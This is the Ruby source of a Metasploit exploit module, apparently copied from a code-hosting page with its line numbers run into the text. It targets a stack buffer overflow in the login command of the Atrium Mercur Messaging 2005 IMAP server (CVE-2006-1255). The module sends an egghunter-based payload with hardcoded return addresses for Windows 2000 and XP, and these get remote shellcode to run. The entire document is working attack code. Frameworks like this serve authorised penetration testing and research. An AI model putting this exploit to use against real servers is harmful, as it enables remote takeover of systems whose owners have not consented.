Path: blob/master/modules/exploits/windows/imap/mercur_login.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.18Since the room for shellcode is small, using the reverse ordinal payloads19yields the best results.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2006-1255' ],25[ 'OSVDB', '23950' ],26[ 'BID', '17138' ],27[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 228,35'BadChars' => "\x00\x20\x2c\x3a\x40",36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",37},38'Platform' => 'win',39'Targets' => [40[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],41[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],42],43'DisclosureDate' => '2006-03-17',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([ Opt::RPORT(143) ])54end5556def exploit57connect58sock.get_once5960hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })61egg = hunter[1]6263sploit = "A001 LOGIN " + egg + hunter[0]64sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')6566print_status("Trying target #{target.name}...")67sock.put(sploit + "\r\n")6869handler70disconnect71end72end737475